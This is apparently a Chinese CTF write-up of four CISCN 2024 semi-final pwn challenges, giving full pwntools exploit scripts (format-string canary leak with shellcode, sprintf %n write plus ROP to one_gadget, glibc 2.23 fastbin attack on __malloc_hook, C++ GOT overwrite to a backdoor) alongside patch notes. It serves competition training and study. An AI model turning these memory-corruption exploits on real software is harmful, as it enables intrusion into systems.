ciscn2024_半决赛_东北
zach0ry

ret2shellcode

image-20260301145150652

没有NX保护

有沙盒但不完全

image-20260301145224229

有栈溢出和格式化漏洞

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
import sys
from LibcSearcher import *

file_path = "./pwn1_"
remote_host = "192.168.137.1"
remote_port = 2121
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):p.sendlineafter(a, b)
def ru(a):p.recvuntil(a)
def sa(a, b):p.sendafter(a, b)


sla(b"2: get name",str(1))
sla(b"->set name","%17$p")
sla(b"2: get name",str(2))
ru(b"0x")
canary=int(p.recv(16),16)
print(hex(canary))

sla(b"2: get name",str(1))
sla(b"->set name","%18$p")

sla(b"2: get name",str(2))
ru(b"0x")
buf=int(p.recv(12),16)-0x60
print(hex(buf))

pay=asm(shellcraft.openat(0, '/flag')+shellcraft.read("rax","rsp",0x50)+shellcraft.write(1,"rsp",0x50))
payload=pay.rjust(0x48,b"\x90")+p64(canary)+p64(0)+p64(buf)
sla(b"2: get name",str(1))
sla(b"->set name",payload)
sla(b"2: get name",str(3))


p.interactive()

patch

改栈溢出漏洞,把read的0x80改小

image-20260301145732982

image-20260301145743576

附件

通过网盘分享的文件:ciscn2024_华东北.zip
链接: https://pan.baidu.com/s/1QhM_CNsAq3ztwfa7FRpMFg?pwd=GAME 提取码: GAME

stdout

image-20260302211304358

image-20260302211645406

int setvbuf(FILE *stream, char *buf, int mode, size_t size);控制 FILE 流的缓冲方式

  • 全缓冲:0,缓冲区满调用fflush() 后输出缓冲区内容。
  • 行缓冲:1,缓冲区满遇到换行符调用fflush() 后输出缓冲区内容。
  • 无缓冲:2,直接输出。

此时puts的内容都写进缓冲区了。没有真正显示,此时的输入是对下面 read(0, buf, 0x10u);的输入

printf

函数参数顺序 含义 寄存器 对应格式化参数
第1个 format RDI ❌ 不参与 %n$
第2个 arg1 RSI %1$
第3个 arg2 RDX %2$
第4个 arg3 RCX %3$
第5个 arg4 R8 %4$
第6个 arg5 R9 %5$
第7个+ 栈(rsp) stack %6$ 以后

sprintf

函数参数顺序 含义 寄存器 对应格式化参数
第1个 dest RDI ❌ 不参与 %n$
第2个 format RSI ❌ 不参与 %n$
第3个 arg1 RDX %1$
第4个 arg2 RCX %2$
第5个 arg3 R8 %3$
第6个 arg4 R9 %4$
第7个+ 栈(rsp) stack %5$ 以后

发送b’a%6$llna’ + p64(0x404070)执行sprintf(buf, buf);

格式符 写入类型 写入字节数 等价C类型
%n int* 4字节 int
%hn short* 2字节 short
%hhn char* 1字节 char
%ln long* 8字节(x64) long
%lln long long* 8字节 long long

image-20260303153103062偏移是6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.log_level = 'debug'

p = process('./pwn')
elf = ELF('pwn')
libc = ELF('libc-2.31.so')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
backdoor = 0x401331
pop_rdi = 0x0000000000401463
pop_rsi_r15 = 0x0000000000401461

# magic -> 1
payload = b'a%6$llna' + p64(0x404070)
p.send(payload)

# leak libc
for i in range(150):
payload = b'a'*0x18+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(backdoor)
p.send(payload)

p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - 0x84420
p.recv()
print('libc_base = ' + hex(libc_base))
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
pop_rdx = libc_base + 0x0000000000142c92

payload = b'a' * 0x10 + b'deadbeef' + p64(pop_rsi_r15) + p64(0) * 2 + p64(pop_rdx) + p64(0) + p64(libc_base + one_gadget[2])
p.send(payload)

p.interactive()

patch

改这个溢出漏洞

image-20260303161005986

heap

凑one_gadget的条件

image-20260303203654281

凑成了有效 argv 数组

  1. \*(rsp+0x38) == 0(数组要有 NULL 结尾,至少 argv[1] 是 NULL)
  2. \*(rsp+0x30) 是一个“可读的指针”(能当作字符串地址,读取到 \0 结束)

也就是最小 argv:

image-20260303203712692

exp

2.23的堆题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86

from pwn import *
import sys
from LibcSearcher import *

file_path = "./111"
remote_host = "192.168.137.1"
remote_port = 2121
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):p.sendlineafter(a, b)
def ru(a):p.recvuntil(a)
def sa(a, b):p.sendafter(a, b)
def add(idx, size, content):
p.sendlineafter(b'choice?\n', b'1')
p.sendlineafter(b'one?\n', str(idx).encode())
p.sendlineafter(b'need?\n', str(size).encode())
p.sendafter(b'data\n', content)


def edit(idx, size, content):
p.sendlineafter(b'choice?\n', b'2')
p.sendlineafter(b'one?\n', str(idx).encode())
p.sendlineafter(b'need?\n', str(size).encode())
p.sendafter(b'data\n', content)


def delete(idx):
p.sendlineafter(b'choice?\n', b'3')
p.sendlineafter(b'one?\n', str(idx).encode())


def show(idx):
p.sendlineafter(b'choice?\n', b'4')
p.sendlineafter(b'one?\n', str(idx).encode())


add(0,0x80,b"11111")
add(1,0x18,b"11111")
delete(0)
add(0,0x80,b"a"*0x8)
show(0)
ru(b"a"*8)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3c4b78
print(hex(libc_base))
# dbg()
add(2,0x60,b"11111")

tar=libc_base + libc.sym['__malloc_hook'] - 0x23
delete(2)
delete(1)
add(1,0x18,p64(0)*3+p64(0x71)+p64(tar))
add(2,0x60,b"22222222")
# system=libc_base+libc.sym["system"]
realloc = libc_base + libc.sym['realloc']
# dbg()
add(4,0x60,b"a"*(8+3)+p64(libc_base+0x4527a)+p64(realloc + 8))

p.sendlineafter(b'choice?\n', b'1')
p.sendlineafter(b'one?\n', b'0')
p.sendlineafter(b'need?\n', b'100')




p.interactive()

patch

找到最开始的赋值处,改溢出的大小

image-20260303174406544

cpp

结构体

image-20260304205416603

image-20260304205431608

输入都不限制大小

对str取地址

image-20260304205510761

对c_str取地址

image-20260304205545353

思路:通过c_str的溢出覆盖str为good的got表地址

再把got表地址覆盖为后门地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context.log_level = 'debug'

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

backdoor = 0x4016E2

# StringPtr -> std::ios::good_got
good = elf.got['_ZNKSt9basic_iosIcSt11char_traitsIcEE4goodEv']
p.sendlineafter(b'choice: ', b'1')
p.sendlineafter(b'c_str: ', b'p' * 32 + p64(good))

# std::ios::good_got -> backdoor
p.sendlineafter(b'choice: ', b'3')
p.sendlineafter(b'str: ', p64(backdoor))


p.interactive()